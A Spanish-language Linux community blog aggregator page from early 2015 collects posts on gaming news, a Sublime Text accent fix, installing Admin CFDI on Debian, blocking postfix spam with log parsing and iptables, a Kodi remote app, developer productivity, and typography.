Con Atari Fit, los jugadores alrededor del mundo, podrán ejercitarse y jugar así manteniendo una estrecha unión con estos dos pasatiempos

atari1

Y aunque parece ser que la app aún esta en desarrollo, basándome en experiencia personal y en la lectura de la retroalimentación, seria excelente que funcionara a la perfección lo más pronto posible.

¿Que piensan sobre esto? ¿Ejercitarse para jugar? ¡Escriban sus comentarios!

Fuente: Gamespot

Halo 5 usará servidores dedicados

La compañía “343 Industries”, subsidiaria de Microsoft que es encargada de la saga Halo, ha confirmado que las partidas serán solamente a través de servidores dedicados, así eliminando que un jugador haga de host.

Josh Holmes, productor ejecutivo del juego, respondiendo una pregunta ha dicho que las partidas que vayan por matchmaking, incluyendo las personalizadas, usarán un único servidor dedicado y no conexión entre jugadores, así la compañía quiere eliminar los problemas que han sucedido con esta clase de partidas, como la ventaja del host ante el lag siempre presente.

El reciente recopilatorio, Halo: The Master Chief Collection combinaba servidores dedicados para el matchmaking, usando conexión directa entre jugadores para partidas personalizadas y campañas online.

Y que aunque el Xbox One ha reducido dramáticamente la cantidad de retrasos durante el juego, esto parece indicar que podemos llegar a pensar que se eliminará del todo.

¿Que te parece? ¿Emocionado por esto?

Fuente: Vandal

Para ti.... mi pedacito de cielo

Si.. el reclamo es valido... :) pero lo prometido es deuda, aun que se que lo sabes, no esta por demas plasmar aqui, en este lugar donde desde hace mucho tiempo he escrito anecdotas y cosas de mi vida... me alegra que tu seas parte de ella y es por ello que ahora eres una parte muy importante de mi historia y quiero que sepas que de todas las historias y vivencias descritos en este muy humilde blog, sin lugar a dudas, tu eres lo mejor que me ha pasado, te quiero y te amo mucho mucho... 

Asi que ahora como eres parte de esto, tienes que aprender a linuxear :) y  le tienes que agarrar amor al cerro tambien..... jejeje es broma, Gracias, por todo lo bueno que le has traido a mi vida.

Te mando un Caluroso y cariñoso Beso :*

( mmmmm vente paka )



Sábado 21 de marzo de 2015

¿Que jugarás este fin de semana?

Por fin es viernes de nuevo. El trabajo y/o la escuela quedo atrás y ya es tiempo de relajarse.

En Celofans hemos tenido un montón de noticias durante esta semana, contenido vasto y variado para todos los gustos. Noticias agradables y otras no tan agradables.

Pero en lo que todo eso pasa por nuestro sistema es hora de tomar el control y comenzar el fin de semana, así que de nuevo les hago esta pregunta.

¿Que jugaran el fin de semana?

En vista de lo que acaba de acontecer con respecto a las Tortugas Ninja creo que jugare el clásico Turtles in Time para SNES. Le seguiré al Chrono Trigger que aún no acabo ese magnífico juego, y, si tengo algo de tiempo, unas retas de Mario Kart 8

¡Comenten que jugarán este fin de semana y déjenos sus ID’s para poder agregarlos en linea!

Viernes 20 de marzo de 2015

José Oviedo

José Oviedo
oviedo.mx

En sublime text 3 no puedo escribir acentos

He instalado Sublime text en linux (ubuntu 14.10) y no me permite escribir palabras acentuadas, siempre agrega la apostrofe al inicio de la palabra y no arriba de ella: Como por ejemplo: Jos´e.

La solución es modificar la configuración “Key Bindings” del SublimeText., para eso entramos a:

Preferences > Key Bindings – Users

Y pegamos el siguiente texto en el archivo de configuración, guardar y listo!!!!.

[
// missing accented characters fix for ubuntu 14.10

// a, [á, å, ä]
{ “keys”: [“´”,”a”], “command”: “insert”, “args”: {“characters”: “á”}},
{ “keys”: [“°”,”a”], “command”: “insert”, “args”: {“characters”: “å”}},
{ “keys”: [“¨”,”a”], “command”: “insert”, “args”: {“characters”: “ä”}},

// A, [Á, Å, Ä]
{ “keys”: [“´”,”A”], “command”: “insert”, “args”: {“characters”: “Á”}},
{ “keys”: [“°”,”A”], “command”: “insert”, “args”: {“characters”: “Å”}},
{ “keys”: [“¨”,”A”], “command”: “insert”, “args”: {“characters”: “Ä”}},

// e, [é, ë]
{ “keys”: [“´”,”e”], “command”: “insert”, “args”: {“characters”: “é”}},
{ “keys”: [“¨”,”e”], “command”: “insert”, “args”: {“characters”: “ë”}},

// E, [É, Ë]
{ “keys”: [“´”,”E”], “command”: “insert”, “args”: {“characters”: “É”}},
{ “keys”: [“¨”,”E”], “command”: “insert”, “args”: {“characters”: “Ë”}},

// i, [í, ï]
{ “keys”: [“´”,”i”], “command”: “insert”, “args”: {“characters”: “í”}},
{ “keys”: [“¨”,”i”], “command”: “insert”, “args”: {“characters”: “ï”}},

// I, [Í, Ï]
{ “keys”: [“´”,”I”], “command”: “insert”, “args”: {“characters”: “Í”}},
{ “keys”: [“¨”,”I”], “command”: “insert”, “args”: {“characters”: “Ï”}},

// o, [ó, ö]
{ “keys”: [“´”,”o”], “command”: “insert”, “args”: {“characters”: “ó”}},
{ “keys”: [“¨”,”o”], “command”: “insert”, “args”: {“characters”: “ö”}},

// O, [Ó, Ö]
{ “keys”: [“´”,”O”], “command”: “insert”, “args”: {“characters”: “Ó”}},
{ “keys”: [“¨”,”O”], “command”: “insert”, “args”: {“characters”: “Ö”}},

// u, [ú, ů, ü]
{ “keys”: [“´”,”u”], “command”: “insert”, “args”: {“characters”: “ú”}},
{ “keys”: [“°”,”u”], “command”: “insert”, “args”: {“characters”: “ů”}},
{ “keys”: [“¨”,”u”], “command”: “insert”, “args”: {“characters”: “ü”}},

// U, [Ú, Ů, Ü]
{ “keys”: [“´”,”U”], “command”: “insert”, “args”: {“characters”: “Ú”}},
{ “keys”: [“°”,”U”], “command”: “insert”, “args”: {“characters”: “Ů”}},
{ “keys”: [“¨”,”U”], “command”: “insert”, “args”: {“characters”: “Ü”}},

// y, [ý, ÿ]
{ “keys”: [“´”,”y”], “command”: “insert”, “args”: {“characters”: “ý”}},
{ “keys”: [“¨”,”y”], “command”: “insert”, “args”: {“characters”: “ÿ”}},

// Y, [Ý, Ÿ]
{ “keys”: [“´”,”Y”], “command”: “insert”, “args”: {“characters”: “Ý”}},
{ “keys”: [“¨”,”Y”], “command”: “insert”, “args”: {“characters”: “Ÿ”}}
]

Lo que hace esta configuración es detectar el apostrofe + la letra y convertirla a la letra con acento.

Jueves 19 de marzo de 2015

Héctor Bautista

Héctor Bautista
Soy un Jedi » Gnu/Linux

Admin CFDI en Debian

¿Qué es Admin CFDI?

Es una herramienta para descargar facturas CFDI desde el SAT (tanto emitidas como recibidas), de uno o más correos electrónicos, organizar, validar y reportar facturas CFDI desde directorios.

Los creadores son de Factura Libre que vienen desarrollando esta poderosa herramienta desde hace ya un tiempo.

Tomado de la página del proyecto:

Esta herramienta te permite realizar las siguientes acciones:

  • Descargar facturas (CFDI) emitidas o recibidas directamente del SAT.
  • Descargar facturas (CFDI) recibidas de uno o más correos electrónicos.
  • Organizar las facturas (CFDI) en carpetas por emisor o receptor, año y mes.
  • Generar PDFs de facturas (CFDI) usando una plantilla ODS de Calc de LibreOffice
  • Generar un reporte de facturas (CFDI), así como validar los sellos y su estatus en el SAT

El desarrollo y últimas versiones del proyecto se están llevando en Github.

Requerimientos:

  • Python 3.4
  • Tk si usas Linux, si usas Windows ya lo integra Python
  • Firefox para la automatización de la descarga del SAT
  • Selenium para la automatización de la descarga del SAT
  • PyGubu para la interfaz gráfica.
  • ReportLab si usas una plantilla JSON (por implementar)
  • LibreOffice si usas la plantilla ODS
  • Extensiones win32 para Python si usas Windows

Tanto en la página del proyecto como en el sitio del buen Linuxman, encontrarán información para la instalación de lo necesario para que funcione.

En el caso particular de Debian, viene Python 2.7 por default, así que es necesario instalar los paquetes necesarios para que funcione.

root@kenobi:/home/hbautista# aptitude install python3-tk python3-pip python3-uno

Hay que tener instalado LibreOffice y Firefox además de los paquetes que se acaban de instalar. Una vez instaladas las dependencias, procedemos a instalar con pip, selenium y pygubu:

root@kenobi:/home/hbautista# pip3 install selenium pygubu

Tanto la instalación de paquetes con apt-get o aptitude, como los que se instalan con pip3, debe hacerse como root.

Descargar versión más reciente de producción: AdminCFDI v0.2.2 (567).

Como usuario normal, procedemos a ejecutar Admin CFDI en el directorio en dónde hayamos extraído el contenido de AdminCFDI:

hbautista@kenobi:~/AdminCFDI_v0.2.2$ python3 admincfdi.py

Admin CFDI 1Admin CFDI 2

Y eso sería todo

Agradecimientos a Factura Libre y a Linuxman por la ayuda prestada.

Notas relacionadas:

The post Admin CFDI en Debian appeared first on Soy un Jedi.

Miércoles 18 de marzo de 2015

Stoping spam with postfix

Well Ihad some small troubles with spamers on postfix I found some commands to parse logs and get the user.
Sometimes the user password was compromised, we need search the users what is sending spam like:

zgrep 'sasl_method'  /var/log/mail.log* | grep "postfix/smtpd" | awk '{print $9}' |  sort -n | uniq -c | sort -n | tail

that return is

4342 sasl_username=tania.perez@xxxx.com
20980 sasl_username=veroa@xxxxx.com

Wow i see that two users login alot of times with the mailserver. That users are sending spam!

Lets check the ips was autheticating:

zgrep $1  /var/log/mail.log* | grep "postfix/smtpd"| grep  -v reject | awk '{print $7}' |uniq -c | sort -n | tail

127 client=unknown[180.249.13.35],
127 client=unknown[5.34.35.160],
127 client=unknown[95.46.242.232],
128 client=ip-46-73-42-28.bb.netbynet.ru[46.73.42.28],
131 client=host-static-89-35-202-29.moldtelecom.md[89.35.202.29],
134 client=unknown[78.175.102.232],
136 client=unknown[124.227.149.62],
137 client=unknown[176.196.97.244],
137 client=unknown[187.4.82.244],
139 client=ip-552f.proline.net.ua[93.126.85.47],

that ips are very strange, lets check the country from comes with whois or with geoiplookup

geoiplookup 93.126.85.47
GeoIP Country Edition: UA, Ukraine

That ip is not from mexico lets ban with this script:

    #!/bin/bash
    IPT=/sbin/iptables
    SPAMLIST="spamlist"
    SPAMDROPMSG="SPAM LIST DROP"
    BADIPS=$(egrep -v -E "^#|^$" blocked.ips)

    # create a new iptables list
    $IPT -N $SPAMLIST

    for ipblock in $BADIPS
    do
    $IPT -A $SPAMLIST -s $ipblock -j LOG --log-prefix "$SPAMDROPMSG"
    $IPT -A $SPAMLIST -s $ipblock -j DROP
    done

    $IPT -I INPUT -j $SPAMLIST
    $IPT -I OUTPUT -j $SPAMLIST
    $IPT -I FORWARD -j $SPAMLIST

Domingo 15 de marzo de 2015

Itzcoalt Alvarez Moreno

Itzcoalt Alvarez Moreno
Itzcoalt (itz) Álvarez

La familia y el desarrollo profesional de sus integrantes

Sin duda alguna la familia juega un papel importante en el desarrollo personal y profesional de sus integrantes, en el núcleo familiar,los hijos no solo copian los patrones  de conducta de sus padres, si no que en base a las facilidades que estos otorgan, es posible tener un excelente desempeño o  un fracaso total.

Los limites que muchas veces tenemos, nos han sido fijado por nuestra familia de manera directa o indirecta, y dependiendo de nuestro desarrollo, logramos la independencia en la toma de decisiones.

Normalmente,  ante una disyuntiva importante, buscamos el consejo de nuestros padres, y normalmente valoramos fuertemente esta opinión.

He conocido casos que pueden estar en los extremos, en donde personas ya entradas en sus 40tas, deben someter sus acciones y decisiones a la aprobación de sus padres, que normalmente ejercen una control total sobre su hogar y sobre todo lo que en el sucede, aun cuando sus hijos hayan salido del seno familiar, la influencia continua.

 

Como padres, debemos ofrecer la seguridad necesaria para permitir que nuestros hijos tomen los riesgos (calculados) que ellos deseen, que sean responsables de sus acciones y sobre todo, que comprendan que estamos para apoyarlos, no para resolverles la vida.

Debemos ofrecerles una plataforma que les permita un desempeño libre de vicios y de temores fundados normalmente por nuestros propios temores, finalmente, ellos deben vivir su propia vida y tener su propio futuro.

Siempre debemos pensar, si los controles, o si la falta de estos pueden provocar algo no esperado en el desarrollo de nuestros hijos.

 

Cada caso es diferente, y debe ser evaluado de manera independiente, y nosotros debemos tener la mente abierta para identificar o aceptar cuando estamos entrando en excesos,

 

Viernes 13 de marzo de 2015

LibreOffice Styles Tutorial

LibreOffice Styles Tutorial (click to download)

LibreOffice Styles Tutorial

I wrote a small-and-quick tutorial for using LibreOffice Styles. It is intended to quickly let you understand (and hopefully grasp) the concepts behind the use of Styles without having to go through an entire manual.

It briefly covers and exemplifies the notion of Paragraph and Character Styles, Direct Formatting, automatic table of contents generation and chapter rearrangement through the Navigator.

Styles can do much more than explained in the tutorial, but it should get you started saving a significant amount of time.

Download it by clicking on the image or from here: /files/libreoffice-styles.odt

Lunes 09 de marzo de 2015

Fco. de la Torre Inguanzo

Fco. de la Torre Inguanzo
LINUXMANR4 » Linux y Software Libre

Control remoto para Kodi XBMC

Con el tiempo he instalado algunos addons pero nunca un control remoto para Kodi (anteriormente XBMC) que es para mi gusto, la cereza en el pastel de este programa multimedia.

Yatse

Después de buscar un poco encontré a Yatse que en mi corta búsqueda no me quedaron ganas de probar otra aplicación, Yatse lo hace todo y lo hace bien. Es de esas pocas veces que le atinas a la primera a la aplicación que estas buscando.

Controles generales de yatse

Controles generales de Yatse

Configuración de Kodi/XBMC

Para poder controlar Kodi es necesario activar primero una opción. Hay que ir al menú SistemaAjustesServiciosServidor Web y activar la opción que dice Permitir controlar Kodi via HTTP. Se pueden personalizar algunos parámetros, pero con eso es suficiente.

Activando el control por servidor web.

Activando el control por servidor web.

Lo primero que hace Yatse después de instalarlo es intentar localizar a Kodi y darlo de alta. Si no lo dan de alta en este momento pueden agregarlo posteriormente en el menú de ajustes en la sección de Media Centers.

Listado de media centers

Listado de media centers

Todo desde tu teléfono.

Yatse tiene todo tipo de controles por categoría, ya sean Películas, Videos, Música, Imágenes, un control de dirección para navegar por los menús, un teclado para las búsquedas, vamos, hasta tiene un “touchpad” si se nos hace más cómodo. Control de volumen, Mute, muestra la información del archivo que estamos viendo en ese momento. ¡Hasta se pueden descargar los subtítulos!

Reproducción de películas

Muestra la información básica de la película y sus controles.

Se pueden dar de alta varios sistemas de Kodi y se seleccionan desde la pantalla principal. No se como pude vivir tanto tiempo sin él.

Si saben de alguna otro programa para android que sea mejor no duden en recomendarlo en los cometarios.

The post Control remoto para Kodi XBMC appeared first on LINUXMANR4.

Viernes 06 de marzo de 2015

Renich Bon Ciric

CFDI y FOSS @ México

Bueno, de la manera más informal y no oficial, me gustaría escribir el primer artículo; presumo, sobre admin-cfdi.

Es un proyectito que están escribiendo unos batos locos del D.F. y de PythonCabal; así como de otros lados. Una colaboración como pocas que han habido en PythonCabal por lo menos.

En todo caso, qué es el mentado admin-cfdi? Es un administrador de CFDI; escrito en Python. Tengo entendido que va a ser parte de algo más grande pero, por lo pronto, están escribiendo ésto.

Recientemente, me platican, están re-escribiendo algunas cosas. Por ejemplo, van a usar el módulo request en vez de usar selenium (phew!) para hacer la descarga. Bastante bueno, el rollo.

Si quisieses apoyar, pues tuvieses que caerle a las reuniones semanales, que son los Miércoles, creo. Únete a la lista de correo de PythonCabal o, de plano, checa la wiki e infórmate.

También, en un googlazo, me econtré con varios otros proyectos que andan haciedo lo meeeeesmo! A webo!

Bien por ellos y nosotros!

Lunes 02 de marzo de 2015

Gustavo Rubio

Gustavo Rubio
Ahí vamos

That javascript framework was so this morning (and so was that problem)

Una de las cosas que un ingeniero disfruta (o debería) es solucionar problemas, es una actividad naturalmente atractiva para quienes deciden dedicarse a esta fina profesión. Esa misma curiosidad nos hace constantemente buscar otros desafíos.

Particularmente, en el desarrollo de software, buscar soluciones a problemas pequeños es una constante que usualmente nos mantiene entretenidos y ocupados sin embargo, es común que nos bloqueemos al grado de no querer continuar con nuestro trabajo, una especia de “Sindrome de bloqueo del escritor

¿Por qué perdemos el interés en la tarea actual, el proyecto o a veces nuestro empleo?

A todos nos ha pasado: estamos horas tratando de resolver un problema, diseñar un algoritmo, el programa no compila o no corre, en fín, infinidad de obstáculos que después de una cantidad razonable de tiempo se vuelven tediosos y nos aburren. Algunos se levantan de su escritorio a caminar y pensar un poco, otros van a la tienda por una coca, otros se fuman un cigarro… después regresamos a nuestro escritorio con la mente un poco más despavilada a tratar de solucionar el problema.

Otros, como yo, simplemente necesitamos un poco de concentración. A mi particularmente me ayuda estar solo, sin ruido. Es común que mientras trabajo no esté escuchando música como muchos de mis compañeros lo hacen, yo lo relaciono con mi poca capacidad de multitasking (aunque honestamente, no creo que ningún ser humano sea capaz de hacer varias cosas a la vez, o no bien al menos) incluso me es a veces necesario aislarme por completo sin presencia de nadie para poder pensar en la solución más adecuada a un problema, como Sherlock con su “palacio mental“.

El aburrimiento

Estar aburridos creo que es la principal causa de bloqueo u obstáculo para solucionar un problema y tiene todo el sentido del universo, es decir, si no estamos cautivados por lo que nos encontramos haciendo en este mismo instante, es decir, sumamente interesados ¿Cómo nó vamos a estar aburridos? Aunque en este caso el estar aburrido creo es la consecuencia y no la causa, además, estar aburrido es una de las cosas mas naturales y humanas que podemos experimentar los homo sapiens. Osho, conocido (y controvertido) gurú hindú, comentaba en una de sus entrevistas:

No animal is ever bored. Look at a buffalo, chewing grass, the same grass every day, sitting and chewing and chewing, never bored. You may get bored looking at her: she is not bored. No animal is ever bored, you cannot bore an animal. Too thick, too dense a mind -how can you bore? For boredom a very, very high sensitivity is needed, the higher your sensitivity the higher will be your boredom, the more will be your boredom.

Los humanos tenemos una sensibilidad profunda y somos emocionales lo cual fomenta cambios de ánimo, como el estar aburrido y contrario a ser algo negativo es un indicador de que somos seres que razonamos y buscamos adquirir conocimiento constantemente, hasta el día de nuestra muerte.

Estar aburridos, insisto, sería una consecuencia y no una causa.

Distractores

Obviamente lo primero que se nos viene a la mente son las redes sociales, el teléfono, etc. Aunque conozco muchos colegas que se distraen fácilmente con estos, llamemosle “artefactos“, hay quienes aun sin este tipo de distracción pueden perder el interés. Existen otros detonantes para distraernos de nuestro trabajo ya sean problemas personales, familiares, deudas, el resultado del partido del domingo, un viaje, etc. Creo que todos estos distractores los conocemos bien y no son específicos de nuestra profesión sino de cualquier persona que no sepa hacerse responsable de su trabajo.

Existen otros distractores, sin embargo, que hacen que nos enfademos de nuestro trabajo y que curiosamente los tenemos todo el tiempo entre nosotros, están escondidos ahí, como soldados aqueos en un caballo de madera.

A los primeros les llamaría yo distractores “naturales”, es decir, vienen de paquete con el hecho de que somos humanos y que necesitamos “despavilarnos” de cuando en cuando. El uso (y abuso) de los mismos es responsabilidad de cada individuo: hay trabajadores huevones que siempre buscarán un pretexto para no hacer bien su trabajo y hay otros que simplemente necesitan un “break” e independientemente del tiempo “fuera” cumpliran sus metas.

Al segundo tipo de distractor les llamo “artificiales” porque de alguna manera los desarrollamos inconcientemente, sin saber que estan ahí.

¿Cuáles son estos distractores artificiales, particularmente para los programadores?

Aquí un claro ejemplo:

El tweet anterior no solo es sarcástico y gracioso también es certero. ¿Cuántos nuevos frameworks de desarrollo nacen con la simple justificación de ser nuevos, de ser diferentes?

Programming “Gamification

El término gamification se entiende como la actividad o metodología de “premiar” simbólicamente a un individuo por completar tareas, cumplir metas o resolver problemas. Por ejemplo, un caso contemporaneo es foursquare / swarm o untappd para los amantes de la cerveza: cuantos más lugares conocemos o más tipos de cerveza probemos se nos proporciona un badge, o medallita que, aunque nos hace sentir que competimos, es igual de relevante que las estrellitas que nos pegaban en la frente en el jardín de niños.

Algo que he notado en programadores, sobre todo en los menos experimentados, es precisamente una necesidad de obtener algún tipo de reconocimiento por la cantidad de conocimiento con la que cuentan sin que necesariamente este se traduzca a algo útil para los usuarios finales quienes son, al final del día, la razón por la cual estamos desarrollando nuestro producto.

Conocer más lenguajes modernos, entender los frameworks más inovadores y radicales, cantidad de repositorios en github, todas actividades muy loables y necesariamente perseguibles para no quedarnos atrás con las nuevas tecnologías y perder práctica, sin embargo debe existir un balance saludable entre teoría, práctica y productividad.

Es mas o menos como juzgar un proyecto de software por su cantidad de líneas de código y deducir que a mayor cantidad es mejor, lo cual es obviamente falso. De la misma manera, tener cientos de commits a un proyecto no necesariamente aportan valor. El valor se encuentra en la utilidad de dicho código para quien pretenda utilizar nuestro software.

Como “project manager” constantemente me encuentro con código poco probado que el desarrollador asegura está listo o que incluso pasa las pruebas unitarias y que desde la perspectiva de desarrollo “sirve” pero desde la perspectiva de calidad de producto deja mucho que desear y la razón por la cual sucede esto es precisamente una aparente e innecesaria prisa por entregar rápido y pasarnos al siguiente problema porque ya nos aburrimos del anterior.

Similar a esto, algún colega, desarrollador de PHP comentaba recientemente en un foro el hecho de que muchos programadores apenas tienen algo de experiencia en un lenguaje o herramienta, se brincan a otra para poder solucionar otros problemas con paradigmas diferentes (y que si lo sabemos quienes aun tocamos PHP). Tal es el caso de node.js, tecnología completamente diferente a otros lenguajes o plataformas mas tradicionales que precisamente trata de solucionar problemas diferentes, no los mismos problemas con diferente código.

Desarrollar en tecnologías “viejas” como PHP o Java puede no ser cool, pero puede ser productivo. Desarrollar en nuevas tecnologías solo porque están de moda no necesariamente solucionará nuestros problemas.

En general podría decir que quienes buscan ser productivos se preocupan menos por las herramientas y más por el producto mientras que quienes buscan brillar en la comunidad haran lo contrario: estar al grito de la moda en tecnologías aun cuando no signifique algo laboralmente hablando. Ambos buscan reconocimiento, los primeros de sus clientes y usuarios, los otros de sus propios colegas. Los primeros son relevantes para quien usa el software, los segundos no tanto.

La generación Github

Una de las cosas mas espectaculares que le ha sucedido al gremio de desarrolladores es github y el trabajo en colaboración por medio de Internet ya que propicia inovación sin lugar a duda. Como hub de desarrollo, camaradería y aprendizaje es una plataforma excelente, sin embargo esto no necesariamente significa que todo lo que encontramos en ese vasto sitio sea de calidad.

La idea de colaboración open source no es nueva. Existieron sitios anteriormente como sourceforge, berlios y otros. Incluso antes de que colaborar y compartir código  por Internet fuera razonablemente posible existieron comunidades de desarrollo abiertas por medio de mailing lists, canales de IRC y simples servidores de FTP.

Es precisamente la comunidad de desarrollo abierta la que más experiencia tiene en este tema, la de la vieja escuela. Una de las razones (ampliamente discutida por expertos en el tema) por las cuales, por ejemplo, muchos productos open source o libres no terminan de “cuajar” es por el protagonismo tanto de sus autores como de sus contribuyentes: cuando el autor original de un producto rechaza un parche por mala calidad, no seguir los lineamientos del proyecto o simplemente porque considera que es un feature que no va de la mano con el objetivo del software era común que dicho contribuyente creara un fork o versión alterna del proyecto, que persiguiera los objetivos del segundo. Esta actitud ha dañado al ecosistema de software open source por años, particularmente al software de escritorio. La razón generalmente era la misma: búsqueda de reconocimiento por encima de buscar solución a un problema.

Esta mentalidad se ha ido pasando de generación en generación, particularmente en github y comunidades aledañas: crear software desde cero porque nosotros creemos que nuestra manera de abordar un problema es mejor.

Si lo vemos desde el punto de vista de un programador que pudiera aportar conocimiento y esfuerzo a un proyecto entonces vemos que ese potencial contribuyente a dicho proyecto duplicará esfuerzos tratando de resolver exactamente el mismo problema. De igual manera, quienes consumen su tecnología tendrán que aprender, de nuevo, otra nueva tecnología y muy seguramente, aun sin dominarla, tendrán que estar pendientes el nuevo chico de la cuadra.

Pareciera que estoy en contra de las comunidades de desarrollo y el open source ¿Cierto?

Un claro ejemplo de como se busca más el reconocimiento que los resultados tangibles es el caso de OpenSSL, componente de software utilizado prácticamente en todos lados, en todo el mundo, necesario para encriptar casi cualquier cosa que utilicemos como usuarios finales o como programadores ¿Cuántos contribuyentes existen? ¿Cuántos forks? Recientemente y a raíz del bug heartbleed los mantenedores del proyecto tuvieron que pedir ayuda financiera, casi como limosna, en un llamado de emergencia por la poca cantidad de recursos con la que cuentan.

¿Por qué tan pocos programadores han contribuido al desarrollo de OpenSSL? Bueno es muy simple, porque no es un producto particularmente inovador, hace lo que debe hacer y lo hace bien, a nadie le interesa tocar en una banda de jazz, todos quieren ser miembro de la banda de pop de moda, o un rockstar. Y así como hacer playback es más fácil también lo es crear un pequeño framework web. Tocar jazz en este caso es una buena metáfora para la cantidad de conocimiento, técnica e inteligencia que requiere diseñar algoritmos de seguridad.

Enfoque y objetivos como solución

Tener un objetivo de la tarea actual, milestones de nuestro proyecto o del producto final como tal es sumamente importante, y para poder trazarlos debemos:

  1. Entender el problema que debemos solucionar
  2. Procurar investigar si hay una manera ya existente de solucionarlo, no reinventar la rueda
  3.  Entregar calidad: ¿Hace mi software lo que el usuario espera que haga?

Creo que la mayoría de las veces perdemos precisamente el enfoque por estar pensando e invirtiendo tiempo en temas auxiliares al objetivo principal, como que framework usar, convenciones de código, entornos de desarrollo, proveedores de cloud hosting, bugtrackers, etc. Estos puntos deben de tratarse como decisión o consecuencia del análisis de los 3 puntos que mencioné arriba y no al revés.

Muchas veces veo a desarrolladores sumamente inteligentes y astutos ansiosos por aplicar alguna nueva librería, lenguaje o metodología sin embargo no tienen ningún problema que solucionar. Es más fácil (y divertido) encontrar desafíos y problemas técnicos para aplicar tecnología que inventar o aprender tecnología nueva por si “algún dia la necesitamos”.

Le llevó años de trabajo a Thomas Alva Edison (y a otro puño) desarrollar un foco con filamentos para solucionar un problema simple: iluminación artificial y llevó otros casi 80 años solucionar un nuevo problema: focos que hicieran uso eficiente de energía. ¿Por qué estamos entonces tan apurados como desarrolladores por solucionar un nuevo problema si aun no hemos solucionado el anterior?

 

Viernes 27 de febrero de 2015

Héctor Daniel Cortés

Héctor Daniel Cortés
'Aztec Eagle' Turbo

Larga vida y prosperidad.



El actor del inolvidable personaje de Star Trek, Doctor Spock, murió hoy 27 de febrero del 2015 a las 08:40 EST a la edad de 83 años por complicaciones de una enfermedad pulmonar crónica. Larga vida y prosperidad.

La nota original en http://news.slashdot.org/story/15/02/27/1734228/leonard-nimoy-dies-at-83

Otros enlaces: Twitter.

Jueves 26 de febrero de 2015

LogicalBricks Solutions: Ha terminado el soporte para Ruby 1.9.3

Manuelton 2015

Y bueno al mal paso darle prisa, nuestro buen amigo Manuel Medina, en este momento tiene algunas necesidades económicas que no planeaba tener, léase no le caería mal un apoyo económico,como buen mexicano y como hombre orgulloso aún viviendo en el país del sol naciente, no va a publicitarlo en su blog, probablemente en su momento escribirá en retrospectiva de esto, pero dudo que lo haga en estos días en que lo necesita, por lo tanto y tomándolo como ejemplo vamos a tomarnos la libertad de platicarlo por acá.

Manuel como el mismo lo dice, no está en problemas, pero pronto va a tener que hacer un desembolso fuerte de dinero en los próximos meses, es decir no está muriendo de hambre, sin casa o enfermo, sin embargo un poco de apoyo no le vendría mal, y tal cual muchos disfrutamos de su blog y muchos otros de leerlo en el twitter o de haber cruzado palabra en algún medio de mensajería, no seria mala idea apoyarlo con algo mas que “anímate” y convertirlo en ahí van unos pesos, bueno yenes.

No esta demás decir que el propio Manuel organizo una cosa como esta para apoyar a Omar en 2008, por lo mismo yo creo que es una oportunidad de apoyarlo, en todo caso el mismo ha creado una página de preguntas frecuentes sobre el botón de donación que ha creado en su blog ahí mismo esta el botón de donación y alguna información extra, en fin que los invito a que se den una vuelta por su blog y lean la interesante saga que esta escribiendo y claro para que quienes lo leen en planetalinux no se pregunten que diantres hace aquí una entrada de estas, Manuel es linuxero de tiempo atrás y escribe también sobre programación y cosas muy interesantes para quienes visitan PL.

Domingo 22 de febrero de 2015

Héctor Daniel Cortés

Héctor Daniel Cortés
'Aztec Eagle' Turbo

2015-02-22 14:23:14 UPDATED: (M6.2) OFF THE COAST OF JALISCO, MEXICO 18.7 -106.8 (82934)

Region: OFF THE COAST OF JALISCO, MEXICO
Geographic coordinates: 18.717N, 106.806W
Magnitude: 6.2
Depth: 10 km
Universal Time (UTC): 22 Feb 2015 14:23:14
Time near the Epicenter: 22 Feb 2015 07:23:15
Local standard time in your area: 22 Feb 2015 08:23:14

Location with respect to nearby cities:
211 km (131 mi) SW of Tomatlan, Mexico
242 km (150 mi) WSW of Cihuatlan, Mexico
264 km (164 mi) W of Manzanillo, Mexico
267 km (166 mi) SW of Puerto Vallarta, Mexico
811 km (503 mi) W of Mexico City, Mexico


ADDITIONAL EARTHQUAKE PARAMETERS
________________________________
event ID : us c000tsak

This is a computer-generated message and has not yet been reviewed by a
seismologist.
For subsequent updates, maps, and technical information, see:
http://earthquake.usgs.gov/earthquakes/eventpage/usc000tsak
or
http://earthquake.usgs.gov/



DISCLAIMER: https://sslearthquake.usgs.gov/ens/help.html?page=help#disclaimer

Miércoles 18 de febrero de 2015

César Yáñez Fernández

Escritura a mano, teclados y la devaluación de la tipografía

Algo que me ha llamado la atención por mucho tiempo es la torpeza de nuestros teclados desde un punto de vista tipográfico. Creo que la manera en que las teclas están colocadas puede ser un factor que contribuye a la falta de calidad tipográfica en nuestra escritura diaria y publicación en línea. ¿Cómo se podría solucionar?

Regresando en el tiempo

Antes de la edición por computadora, la mayoría de los libros o revistas publicados eran elaborados por artesanos que tenían las herramientas y habilidades necesarias para reproducir y publicar un texto que cumplía los estándares más altos en legibilidad y tipografía. Mucho de esto tenía que ver con la imprenta y el conocimiento del tipógrafo acerca del idioma y la tipografía. Él o ella sabían que cada caracter en un tipo de letra significaba diferentes cosas así como las diferentes palabras significan diferentes cosas.

Los tipógrafos e impresores tenían acceso a un conjunto de caracteres extenso para ajustar la tipografía de libros y revistas.

La publicación en aquellos días era para producción de información en masa. No era algo que cualquiera podía hacer. Tomaba tiempo, era caro y contenía muchos detalles que tenían que ser cuidadosamente considerados para hacerlo bien.

Lo contrario a la publicación lenta y cara era la escritura a mano. La escritura a mano era rápida, barata y a mi punto de vista era una extensión de la voz humana. Hablábamos cuando nuestro destinatario estaba cerca, y escribíamos cuando estaba lejos. Ya que el propósito de la escritura a mano era imitar la voz, no requería el conjunto de caracteres extendido que la imprenta o el tipógrafo profesional tenían a la mano. En la mayoría de los casos funcionaba bien con únicamente A-Z, a-z y números.

La tipografía y la escritura a mano eran dos cosas que podían vivir juntas ya que no competían entre estas; una era para comunicación rápida e informal, y la otra para una comunicación formal y permanente.

El cruce de caminos

Si miramos a la historia de la máquina de escribir, podremos ver que el propósito de la invención no era para reemplazar o democratizar la impresión o la publicación en maza. Era para reemplazar la escritura a mano en oficinas, la correspondencia formal y la escritura profesional.

[Él] tenía por su gran estudio y dolor y gastos, el inventado y traído a la perfección una máquina artificial o método de impresión o transcripción de letras, una tras de otra, como en la escritura, por lo cual toda la escritura puede ser absortada en papel o pergamino tan claro y exacto tal que no puede ser distinguido de la imprenta, y que dicha máquina o método puede ser de gran uso en asentamientos y registros públicos, la impresión siendo más profunda y más duradera que cualquier otra escritura, y que no se puede borrar o falsificar sin un descubrimiento manifestado. -- De la patente de la Máquina de Escribir de Henry Mills, 1714

